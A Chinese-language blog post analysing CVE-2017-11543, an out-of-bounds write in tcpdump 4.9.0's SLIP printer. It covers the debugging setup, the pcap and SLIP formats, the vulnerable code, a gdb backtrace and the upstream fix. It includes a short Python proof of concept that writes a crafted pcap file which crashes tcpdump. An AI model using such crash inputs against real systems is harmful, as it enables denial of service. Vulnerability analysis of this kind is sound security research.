CVE-2017-11543 tcpdump越界访问漏洞

0x01 漏洞描述

tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 sliplink_print 函数(位于 print-sl.c)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。

使用方法:
-i any:监听所有网络接口
-i eth0:监听指定的网络接口(eth0)
-D:列出所有可用的网络接口
-n:不解析主机名
-nn:不解析主机名和端口名
-q:输出较少的信息
-t:更便于阅读的时间戳输出
-tttt:最便于阅读的时间戳输出
-X:以 HEX 和 ASCII 模式输出数据包的内容
-XX:与 -X 选项相同,同时还输出 ethernet 头
-v, -vv, -vvv:输出更多数据包的信息
-c:获取到指定数目的数据包后就停止
-s:定义 snaplength (size) ,-s0 表示获取全部
-S:输出绝对序列号
-e:获取 ethernet 头信息
-E:通过提供 key 来解密 IPSEC 流量

0x02 搭建漏洞调试环境

安装dev版本的libpcap:

sudo apt-get install libpcap-dev

下载4.9版本的tcpdump

wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz 
tar zxvf tcpdump-4.9.0.tar.gz
cd tcpdump-tcpdump-4.9.0/
./configure

执行 configure 会生成相应的 Makefile,然后 make install 就可以了,但是这里我们修改下 Makefile,给 gcc 加上参数 -fsanitize=address,以开启内存检测功能:

CFLAGS = -g -O2 -fsanitize=address

最后安装

sudo make install

0x03 漏洞分析

使用下面的 poc 即可成功地触发漏洞产生 Segment Fault:

import os
def sigsegv():
    buf  = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
    buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
    buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
    buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"
    with open("slip-bad-direction.pcap", "wb") as f:
        f.write(buf)
        f.close()
    cmd = 'tcpdump -e -r slip-bad-direction.pcap' # -e:获取 ethernet 头信息
    os.system(cmd)
if __name__ == "__main__":
    sigsegv()

分析pcap包的文件格式,文件头是这样一个结构体,总共24个字节:

struct pcap_file_header {
        bpf_u_int32 magic;     // 标识位:4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4
        u_short version_major; // 主版本号:2 字节,默认值为 0x2
        u_short version_minor;// 副版本号:2 字节,默认值为 0x04
        bpf_int32 thiszone;     // 区域时间:4 字节,实际上并未使用,因此被设置为 0
        bpf_u_int32 sigfigs;    // 精确时间戳:4 字节,实际上并未使用,因此被设置为 0
        bpf_u_int32 snaplen;    // 数据包最大长度:4 字节,该值设置所抓获的数据包的最大长度
        bpf_u_int32 linktype;   // 链路层类型:4 字节,数据包的链路层包头决定了链路层的类型
};

以下是数据值与链路层类型的对应表
0 BSD loopback devices, except for later OpenBSD
1 Ethernet, and Linux loopback devices 以太网类型,大多数的数据包为这种类型。
6 802.5 Token Ring
7 ARCnet
8 SLIP
9 PPP
10 FDDI
100 LLC/SNAP-encapsulated ATM
101 raw IP, with no link
102 BSD/OS SLIP
103 BSD/OS PPP
104 Cisco HDLC
105 802.11
108 later OpenBSD loopback devices (with the AF_value in network byte order)
113 special Linux cooked capture
114 LocalTalk

接下来是数据包头

struct pcap_pkthdr
{
    struct tim  ts; // 时间戳,包括:秒计时:32位,一个UNIX格式的精确到秒时间值,用来记录数据包抓获的时间,记录方式是记录从格林尼治时间的1970年1月1日 00:00:00 到抓包时经过的秒数;
    DWORD       caplen; // 32位 ,标识所抓获的数据包保存在pcap文件中的实际长度,以字节为单位。
    DWORD       len;  // 所抓获的数据包的真实长度,如果文件中保存不是完整的数据包,那么这个值可能要比前面的数据包长度的值大。
}

struct tim
{
    DWORD GMTtime;
    DWORD microTime
}

用二进制编辑器查看数据包:

我们看到linktype的值是8,所以链路层类型是SLIP,SLIP包结构如下: ``` +-------------------------+ | Direction | | (1 Octet) | +-------------------------+ | Packet type | | (1 Octet) | +-------------------------+ | Compression information | | (14 Octets) | +-------------------------+ | Payload | . . . . . . ``` Direction字段指示发送或接收。0本机接收,1本机发送。

在这里 direction 是 0xe7,并且由于 packet type 被设置了,所以 payload 是一个压缩的 TCP/IP 包,它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报,其结构如下:

+-------------------------------+ Byte
|   | C | I | P | S | A | W | U | 0
+-------------------------------+
|       connection number       | 1
+-------------------------------+
|         TCP checksum              | 2-3
+-------------------------------+
|             data                          | 3-16
.                                                 .
.                                                 .
.                                                 .

漏洞代码

static void
sliplink_print(netdissect_options *ndo,
               register const u_char *p, register const struct ip *ip,
               register u_int length)
{
    int dir;
    u_int hlen;

    dir = p[SLX_DIR];
    ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

    if (ndo->ndo_nflag) {
        /* XXX just dump the header */
        register int i;

        for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
            ND_PRINT((ndo, "%02x.", p[i]));
        ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
        return;
    }
    switch (p[SLX_CHDR] & 0xf0) {

    case TYPE_IP:
        ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
        break;

    case TYPE_UNCOMPRESSED_TCP:
        /*
         * The connection id is stored in the IP protocol field.
         * Get it from the link layer since sl_uncompress_tcp()
         * has restored the IP header copy to IPPROTO_TCP.
         */
        lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
        hlen = IP_HL(ip);
        hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
        lastlen[dir][lastconn] = length - (hlen << 2);
        ND_PRINT((ndo, "utcp %d: ", lastconn));
        break;

    default:
        if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
            compressed_sl_print(ndo, &p[SLX_CHDR], ip,
                length, dir);
            ND_PRINT((ndo, ": "));
        } else
            ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
    }
}


static void
compressed_sl_print(netdissect_options *ndo,
                    const u_char *chdr, const struct ip *ip,
                    u_int length, int dir)
{
    register const u_char *cp = chdr;
    register u_int flags, hlen;

    flags = *cp++;
    if (flags & NEW_C) {
        lastconn = *cp++;
        ND_PRINT((ndo, "ctcp %d", lastconn));
    } else
        ND_PRINT((ndo, "ctcp *"));

    /* skip tcp checksum */
    cp += 2;

    switch (flags & SPECIALS_MASK) {
    case SPECIAL_I:
        ND_PRINT((ndo, " *SA+%d", lastlen[dir][lastconn]));
        break;

    case SPECIAL_D:
        ND_PRINT((ndo, " *S+%d", lastlen[dir][lastconn]));
        break;

    default:
        if (flags & NEW_U)
            cp = print_sl_change(ndo, "U=", cp);
        if (flags & NEW_W)
            cp = print_sl_winchange(ndo, cp);
        if (flags & NEW_A)
            cp = print_sl_change(ndo, "A+", cp);
        if (flags & NEW_S)
            cp = print_sl_change(ndo, "S+", cp);
        break;
    }
    if (flags & NEW_I)
        cp = print_sl_change(ndo, "I+", cp);

    /*
     * 'hlen' is the length of the uncompressed TCP/IP header (in words).
     * 'cp - chdr' is the length of the compressed header.
     * 'length - hlen' is the amount of data in the packet.
     */
    hlen = IP_HL(ip);
    hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
    lastlen[dir][lastconn] = length - (hlen << 2);
    ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
}

问题发生的原因是 sliplink_print 函数的 ND_PRINT((ndo, dir == SLIPDIR_IN ? “I “ : “O “)); 没有考虑到 dir 既不是 0 也不是 1 的情况,错误地把它当做一个发送的数据包处理,然后调用了 compressed_sl_print 函数:

lastlen[dir][lastconn] = length - (hlen << 2);

lastlen[dir][lastconn] 导致非法内存地址访问。

0x04 调试

通过”gdb tcpdump -q”定位到 crash 的源代码

{% asset_img 3.png %}
pwndbg> bt
#0  0x00000000005025a7 in compressed_sl_print (dir=<optimized out>, length=3890734886, ip=0x7ffff7f3b810, chdr=0x7ffff7f3b801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0x7fffffffca10) at ./print-sl.c:253
#1  sliplink_print (length=3890734886, ip=0x7ffff7f3b810, p=0x7ffff7f3b800 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0x7fffffffca10) at ./print-sl.c:166
#2  sl_if_print (ndo=0x7fffffffca10, h=<optimized out>, p=0x7ffff7f3b800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
#3  0x00000000004183c0 in pretty_print_packet (ndo=0x7fffffffca10, h=0x7fffffffc6f0, sp=0x7ffff7f3b800 '\347' <repeats 22 times>, <incomplete sequence \312>, packets_captured=<optimized out>) at ./print.c:339
#4  0x000000000040d58f in print_packet (user=<optimized out>, h=<optimized out>, sp=<optimized out>) at ./tcpdump.c:2501
#5  0x00007ffff6802a94 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#6  0x00007ffff67f31cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#7  0x0000000000409a35 in main (argc=argc@entry=4, argv=argv@entry=0x7fffffffdf48) at ./tcpdump.c:2004
#8  0x00007ffff643a830 in __libc_start_main (main=0x408580 <main>, argc=4, argv=0x7fffffffdf48, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf38) at ../csu/libc-start.c:291
#9  0x000000000040c619 in _start ()

sliplink_print() 中调用了 compressed_sl_print() 函数,
dir 是 compressed_sl_print() 的参数,而根据调试时的 backtrace,compressed_sl_print() 调用时传递的 dir 即为 0xe7(231)。

compressed_sl_print 的参数:

dir=0xe7 是 direction
length=0xe7e7e736 是长度,由包头的 len 计算得到ip=0x7ffff7fd8780 指向 datachdr=0xb65ba801 指向压缩的 TCP/IP 头
ndo=0x7fffffffca20 是其他一些选项

在 lastlen[dir][lastconn] = length - (hlen << 2); 语句中:

lastlen定义:static u_int lastlen[2][256];

dir = 0xe7那么肯定就越界了。

0x05 修复

-       ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+       switch (dir) {

+       case SLIPDIR_IN:
+               ND_PRINT((ndo, "I "));
+               break;
+
+       case SLIPDIR_OUT:
+               ND_PRINT((ndo, "O "));
+               break;
+
+       default:
+               ND_PRINT((ndo, "Invalid direction %d ", dir));
+               dir = -1;
+               break;
+       }
+               ND_PRINT((ndo, "utcp %d: ", lastconn));
+               if (dir == -1) {    // 在存取操作前检查 dir 的值
+                       /* Direction is bogus, don't use it */
+                       return;
+               }

可以看出增加了一个 switch 判断,不合法的全都把 dir 设置为了 -1。存取操作前检查 dir 的值,-1退出。

0x06 pwn掉?

调这个漏洞是看到rce的原因,但实在没想到如何rce


 Previous
House of Kiwi House of Kiwi
0x00 背景这两天调内核的cve实在是被恶心到了,针对问题也去请教了师傅,今天是调不下去了。 在2.29以后由于setcontext中的rdi改为rdx寄存器,需要gadgets将rdi->rdx: 常见的一个操作是劫持mall
2021-04-15
Next 
D-Link DIR-859 CVE-201917621-未授权命令执行漏洞分析 D-Link DIR-859 CVE-201917621-未授权命令执行漏洞分析
0x01 漏洞简介D-Link DIR-859设备LAN层中出现未经身份验证的命令执行漏洞,主要是在ssdpcgi函数中发现了该漏洞,且因为SSDP协议缘故,该漏洞利用无须通过认证 漏洞起因主要是因为环境变量没有进行字符过滤,即使这个函数之
  TOC